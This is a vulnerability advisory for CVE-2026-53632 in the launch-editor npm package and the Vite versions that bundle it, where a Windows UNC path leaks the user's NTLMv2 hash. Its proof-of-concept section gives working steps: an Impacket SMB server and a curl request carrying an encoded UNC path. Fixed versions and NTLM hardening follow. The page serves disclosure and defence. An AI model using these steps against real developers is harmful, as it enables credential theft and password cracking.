CVE-2026-53632: NTLMv2 hash disclosure via UNC path handling on Windows

Published Jun 15, 2026
·
Updated

Summary The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

- using Windows - NTLM is not disabled (it is recommended to disable, while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using launch-editor - the server that has the middleware using launch-editor is running - the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share. mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server. $ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-3010-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

Other sources

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.1, the launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. This vulnerability is fixed in 2.14.1.

MITRE

Affected Software

6 affected componentsFixes available
npm/vite-plus<=0.1.23
0.1.24
npm/vite<=6.4.2
6.4.3
npm/vite>=7.0.0<=7.3.4
7.3.5
npm/vite>=8.0.0<=8.0.15
8.0.16
npm/launch-editor<=2.14.0
2.14.1
IBM Netezza Software<=11.3.0.3-IF2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vite-plus to a version that resolves this vulnerability.

    Fixed in 0.1.24
  2. Upgrade

    Upgrade npm/vite to a version that resolves this vulnerability.

    Fixed in 6.4.3
  3. Upgrade

    Upgrade npm/vite to a version that resolves this vulnerability.

    Fixed in 7.3.5
  4. Upgrade

    Upgrade npm/vite to a version that resolves this vulnerability.

    Fixed in 8.0.16
  5. Upgrade

    Upgrade npm/launch-editor to a version that resolves this vulnerability.

    Fixed in 2.14.1
  6. Upgrade

    Upgrade launch-editor (NPM package) to a version that resolves this vulnerability.

    Fixed in 2.14.1
  7. Configuration

    Disable NTLM (recommended as it is still enabled by default) to mitigate NTLMv2 hash disclosure when Windows automatically attempts NTLM authentication to an attacker-controlled SMB server via UNC paths (e.g., \\attacker-host\share).

    Windows (UNC path handling / NTLM) NTLM = disabled

Event History

Jun 15, 2026
Advisory Published
via GitHub·05:18 PM
Data Sourced
via GitHub·05:18 PM
DescriptionWeaknessAffected Software
Jun 22, 2026
CVE Published
via MITRE·03:54 PM
Data Sourced
via MITRE·03:54 PM
DescriptionWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Aug 20, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which users are exposed in the described attack scenario?

Users running Windows are exposed when NTLM is enabled and they visit an attacker-controlled website that sends a request to reachable middleware using launch-editor. The attacker must know the URL of the server and middleware.

2

Does this require non-default Windows authentication settings?

No. The advisory states that NTLM is still enabled by default, although disabling it is recommended.

3

What must an attacker do to obtain a hash?

The attacker needs to cause the affected middleware to access an attacker-controlled UNC path while the middleware server is running. Windows then automatically attempts NTLM authentication to the attacker-controlled SMB server.

4

What can reduce risk if the package cannot be addressed immediately?

Disabling NTLM reduces the exposure described by the advisory. Risk also depends on preventing attacker-controlled websites from sending requests to the affected middleware and limiting access to that middleware.

Contact

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